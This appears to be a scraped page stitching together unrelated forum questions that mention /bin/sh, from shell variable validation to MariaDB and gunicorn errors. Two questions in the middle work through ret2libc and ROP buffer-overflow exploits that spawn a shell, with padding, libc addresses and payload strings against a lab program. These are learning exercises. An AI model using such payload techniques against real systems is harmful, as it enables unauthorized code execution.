How to check a variable? !/bin/sh shell script

Im really noob in scripting. Im trying to improve.
I want to check if a variable has only alphabetical and numeric characters:

str="3dr>f43fe*" –> Not good
str2="RFEfew3" –> Good

How should I do it?

shellcode – system doesn’t invoke /bin/sh

I am learning libc shellcode attacks and trying to execute /bin/sh from system

I can execute other commands from system like whoami and ls -a but can not run /bin/sh

the following works

string = b"ls -a"
# system, fake ret, arg
b'xf0xefx04x08', b'xe3xd0x06x08', string_addr.to_bytes(4, byteorder='little')

but this doesn’t work

string = b"/bin/sh"
# system, fake ret, arg
b'xf0xefx04x08', b'xe3xd0x06x08', string_addr.to_bytes(4, byteorder='little')

what is going wrong here?

ROP execute a shell with execl() – /bin/sh: 0: Can’t open

A vulnerable C program to stack buffer overflow, requires 112 byte stuffing to get to return address of the calling function. Here the Strcpy() is the vulnerable function. Trying to write the rop gadgets to execute a /bin/sh shell by means of execl().
The exploit would be:

python -c 'print 112*"x90" + "addr. execl()" + "addr. exit()" + "addr. /bin/sh" + "addr. /bin/sh"'  

From gdb these are the found addresses (ASLR disabled for test):

(gdb) print execl
      $1 =  0xb7eb7b60 <__GI_execl>
(gdb) print exit
      $2 =  0xb7e359e0 <__GI_exit>

(gdb) info proc map
 ...(output omitted)
(gdb) find 0xb7e07000,0xb7fbb000,"/bin/sh"
      0xb7f62b0b
      1 pattern found.
(gdb) x/s 0xb7f62b0b
      0xb7f62b0b:   "/bin/sh"

(gdb) run $(python -c 'print 112*"x90" + "x60x7bxebxb7" + "xe0x59xe3xb7" + "x0bx2bxf6xb7" + "x0bx2bxf6xb7"')
      Starting program: /home/marco/asm/execve/bypass_aslr/rop/prove/main $(python -c 'print 112*"x90" + "x60x7bxebxb7" + "xe0x59xe3xb7" + "x0bx2bxf6xb7" + "x0bx2bxf6xb7"')
      process 3161 is executing new program: /bin/dash
      /bin/sh: 0: Can't open UWVS��������
      (Inferior 1 (process 3161) exited with code 0177)

The same test using system() gives the shell.

I don’t understand if the execl() is successful and if it’s replacing the currently running process image.

Platform: Ubuntu 16.04 – 32 bit.

MariaDB failed at step namespace spawning /bin/sh: read-only file system

Recently my mariadB stopped working and when i tried to start it, it always throws an error.

The error message is:

MariaDB failed at step namespace spawning /bin/sh: read-only file system

What does that mean?

The operating system is CentOS 7

google compute engine – ERROR: (gcloud.app.deploy) Error Response: [9] Application startup error! Code: APP_CONTAINER_CRASHED /bin/sh: 1: exec: gunicorn: not found

I am deploying my Django project on google cloud app engine with my virtual environment I get the error
ERROR: (gcloud.app.deploy) Error Response: (9)
Application startup error! Code: APP_CONTAINER_CRASHED
/bin/sh: 1: exec: gunicorn: not found
i already install gunicorn and my app.yaml

runtime: python
env: flex
  entrypoint: gunicorn -b :$PORT tiwari.wsgi
automatic_scaling:
  min_num_instances: 1
  max_num_instances: 2